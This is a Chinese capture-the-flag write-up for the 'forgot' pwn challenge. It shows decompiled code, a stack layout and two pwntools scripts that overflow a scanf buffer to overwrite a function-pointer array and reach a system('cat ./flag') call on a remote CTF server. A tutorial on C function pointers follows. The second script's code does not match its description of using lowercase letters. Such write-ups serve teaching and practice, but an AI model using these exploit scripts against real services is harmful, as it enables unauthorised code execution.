攻防世界高手进阶区 ——forgot

image-20220220111908169

看了半天,啥也没看懂,做出来了才发现啥也不是。

一,分析文件

  1. checksec

    image-20220220112058572

    还好,只开启了堆栈不可执行。

  2. 运行一下

    image-20220220112215742

    翻译了一下,应该是判断邮箱是否合乎规矩。

  3. 直接ida

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    int __cdecl main()
    {
    size_t v0; // ebx
    char v2[32]; // [esp+10h] [ebp-74h] BYREF
    _DWORD v3[10]; // [esp+30h] [ebp-54h]
    char s[32]; // [esp+58h] [ebp-2Ch] BYREF
    int v5; // [esp+78h] [ebp-Ch]
    size_t i; // [esp+7Ch] [ebp-8h]

    v5 = 1;
    v3[0] = sub_8048604; // 函数指针数组
    v3[1] = sub_8048618;
    v3[2] = sub_804862C;
    v3[3] = sub_8048640;
    v3[4] = sub_8048654;
    v3[5] = sub_8048668;
    v3[6] = sub_804867C;
    v3[7] = sub_8048690;
    v3[8] = sub_80486A4;
    v3[9] = sub_80486B8;
    puts("What is your name?");
    printf("> ");
    fflush(stdout); // 清空输出缓冲区
    fgets(s, 32, stdin); // 从输入流获取32个字节
    sub_80485DD(s);
    fflush(stdout);
    printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
    fflush(stdout);
    puts("Enter the string to be validate");
    printf("> ");
    fflush(stdout);
    scanf("%s", v2);
    for ( i = 0; ; ++i )
    {
    v0 = i;
    if ( v0 >= strlen(v2) )
    break;
    switch ( v5 )
    {
    case 1:
    if ( sub_8048702(v2[i]) ) // 判断是否为小写字母,数字,dot,+-,下划线
    v5 = 2;
    break;
    case 2:
    if ( v2[i] == 64 ) // @
    v5 = 3;
    break;
    case 3:
    if ( sub_804874C(v2[i]) ) // 小写字母,数字,下划线
    v5 = 4;
    break;
    case 4:
    if ( v2[i] == 46 ) // dot
    v5 = 5;
    break;
    case 5:
    if ( sub_8048784(v2[i]) ) // 小写字母
    v5 = 6;
    break;
    case 6:
    if ( sub_8048784(v2[i]) ) // 小写字母
    v5 = 7;
    break;
    case 7:
    if ( sub_8048784(v2[i]) ) // 小写字母
    v5 = 8;
    break;
    case 8:
    if ( sub_8048784(v2[i]) ) // 小写字母
    v5 = 9;
    break;
    case 9:
    v5 = 10;
    break;
    default:
    continue;
    }
    }
    ((void (*)(void))v3[--v5])(); // 将v3转换为函数指针,并转到v3
    return fflush(stdout);
    }

    刚开始死活看不懂,后来发现是自己的C语言基础太薄弱了,还有就是不会汇编。(菜鸡的我表示该学学深入学学C语言和汇编了)。

    这里关键的一步是

    1
    ((void (*)(void))v3[--v5])();                 // 将v3转换为函数指针,并转到v3

    强制转换v3为函数指针并转到。

    不会函数指针的我后面有解释。

二,解题思路

  • 通过f12+shift查找string

    image-20220220112842257发现有cat和./flag等字样。可能存在相关函数。

  • 跳转后找到了该函数

    1
    2
    3
    4
    5
    6
    7
    int sub_80486CC()
    {
    char s[58]; // [esp+1Eh] [ebp-3Ah] BYREF

    snprintf(s, 0x32u, "cat %s", "./flag");
    return system(s);
    }

    就是打开flag文件的函数。

  • 仔细观察后,发现scanf这里存在栈溢出漏洞

    1
    scanf("%s", v2)
  • 查看main函数的栈后,发现只需要溢出0x20个字节就可以覆盖v3的值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    -00000074 var_74          db 32 dup(?)
    -00000054 db ? ; undefined//这里是v3的地址
    -00000053 db ? ; undefined
    -00000052 db ? ; undefined
    -00000051 db ? ; undefined
    -00000050 db ? ; undefined
    -0000004F db ? ; undefined
    -0000004E db ? ; undefined
    -0000004D db ? ; undefined
    -0000004C db ? ; undefined
    -0000004B db ? ; undefined
    -0000004A db ? ; undefined
    -00000049 db ? ; undefined
    -00000048 db ? ; undefined
    -00000047 db ? ; undefined
    -00000046 db ? ; undefined
    -00000045 db ? ; undefined
    -00000044 db ? ; undefined
    -00000043 db ? ; undefined
    -00000042 db ? ; undefined
    -00000041 db ? ; undefined
    -00000040 db ? ; undefined
    -0000003F db ? ; undefined
    -0000003E db ? ; undefined
    -0000003D db ? ; undefined
    -0000003C db ? ; undefined
    -0000003B db ? ; undefined
    -0000003A db ? ; undefined
    -00000039 db ? ; undefined
    -00000038 db ? ; undefined
    -00000037 db ? ; undefined
    -00000036 db ? ; undefined
    -00000035 db ? ; undefined
    -00000034 db ? ; undefined
    -00000033 db ? ; undefined
    -00000032 db ? ; undefined
    -00000031 db ? ; undefined
    -00000030 db ? ; undefined
    -0000002F db ? ; undefined
    -0000002E db ? ; undefined
    -0000002D db ? ; undefined
    -0000002C s db ?
    -0000002B db ? ; undefined
    -0000002A db ? ; undefined
    -00000029 db ? ; undefined
    -00000028 db ? ; undefined
    -00000027 db ? ; undefined
    -00000026 db ? ; undefined
    -00000025 db ? ; undefined
    -00000024 db ? ; undefined
    -00000023 db ? ; undefined
    -00000022 db ? ; undefined
    -00000021 db ? ; undefined
    -00000020 db ? ; undefined
    -0000001F db ? ; undefined
    -0000001E db ? ; undefined
    -0000001D db ? ; undefined
    -0000001C db ? ; undefined
    -0000001B db ? ; undefined
    -0000001A db ? ; undefined
    -00000019 db ? ; undefined
    -00000018 db ? ; undefined
    -00000017 db ? ; undefined
    -00000016 db ? ; undefined
    -00000015 db ? ; undefined
    -00000014 db ? ; undefined
    -00000013 db ? ; undefined
    -00000012 db ? ; undefined
    -00000011 db ? ; undefined
    -00000010 db ? ; undefined
    -0000000F db ? ; undefined
    -0000000E db ? ; undefined
    -0000000D db ? ; undefined
    -0000000C anonymous_0 dd ?
    -00000008 anonymous_1 dd ?
    -00000004 var_4 dd ?
    +00000000 s db 4 dup(?)
    +00000004 r db 4 dup(?)
    +00000008
    +00000008 ; end of stack variables
    1
    _DWORD v3[10]; // [esp+30h] [ebp-54h]
  • 然后可以通过后面的强制转换并执行来访问该v3函数,便只需要覆盖v3的地址为getflag的地址即可

exp

  • 这里只能覆盖大写的A,否则会更改v5的值,就要覆盖其他的地址了。
1
2
3
4
5
6
7
8
from pwn import *
#sh = process("./forgot")
sh = remote("111.200.241.244","57934")
get_flag_addr = p32(0x80486CC)
payload = "A"*0x20 + get_flag_addr
sh.sendlineafter("name?\n> ","kali")
sh.sendlineafter("validate\n> ",payload)
print sh.recvline()
  • 如果非要用小写的话,下面这个exp也可以。(小写a将v5改为了2)
1
2
3
4
5
6
7
8
from pwn import *
#sh = process("./forgot")
sh = remote("111.200.241.244","57934")
get_flag_addr = p32(0x80486CC)
payload = "A"*36 + get_flag_addr
sh.sendlineafter("name?\n> ","kali")
sh.sendlineafter("validate\n> ",payload)
print sh.recvline()

因为

1
_DWORD v3[10]; // [esp+30h] [ebp-54h]

v3为_DWORD,DWORD 代表 unsigned long

在32位编译器中unsigned long有4个字节,所以覆盖量为0x20 +4 = 36。

函数指针数组

一、什么是函数指针

在定义函数指针数组之前,需要首先知道什么是函数指针。函数指针的定义形象点来说,就是用一个指针变量代替原函数中的函数名位置。

原函数
int Add(int a,int b)
函数指针定义(不需要加入&取值符号,因为函数标识实际上就是一个地址)
int (*p)(int ,int)
p=Add
调用(直接替代原有标识,类比数组传参)
p(A,B)

二、函数指针数组的定义

情况假定:编写一个这样一个数组,这一个数组可以用于索引一系列的排序函数
实现其实非常简单我们只需在改写(*p)为(*p[MAX])就行了
实现:

1
2
3
4
5
6
7
8
9
10
11
int(*sort[]) =
{
Bubble_sort, //冒泡排序
Select_sort, //选择排序
Insert_sort, //插入排序
Shell_sort, //希尔排序
Merge_sort, //归并排序
Heap_sort, //堆排序
Qsort, //快速排序
Radix_sort //基数排序
}

引用自怎样定义函数指针数组 - whitesad - 博客园 (cnblogs.com)

C表达式((void (*)(void))0();

通过一步步来讲解:
没有参数和不返回值

1
void f(void)1

定义一个指针没有参数和返回值

1
void (*p)(void)1

定义一个仅有类型的指针

1
(void(*))(void)1

定义一个强转类型(类型定义在括号内,跟着一个值)

1
(void (*)(void))01

到目前为止我们定义了一个由0强转成一个指向函数且返回值。

这个转换时一个指针到函数的类型。

1
(your expression here)(arguments to the function)1

以0位值,转换成指针指向函数(没有参数,没有返回值),之后在调用。

1
((void (*)(void))0)(/*no  args*/);

引用大佬的文章(8条消息) C表达式((void (*)(void))0();_雾里看花-CSDN博客